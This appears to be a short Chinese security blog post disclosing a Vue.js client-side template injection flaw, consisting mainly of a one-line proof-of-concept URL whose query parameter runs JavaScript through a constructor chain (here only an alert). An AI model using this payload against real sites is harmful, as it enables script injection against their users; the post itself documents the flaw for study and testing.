Vue.js_Javascript_library客戶端模板注入漏洞

2021年7月15日发布

0260

# Vue.js Javascript library客戶端模板注入漏洞

==POC==

http://host/?name={{this.constructor.constructor('alert("foo")')()}}

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容

1致远OA checkComponentFile后台反序列化任意命令执行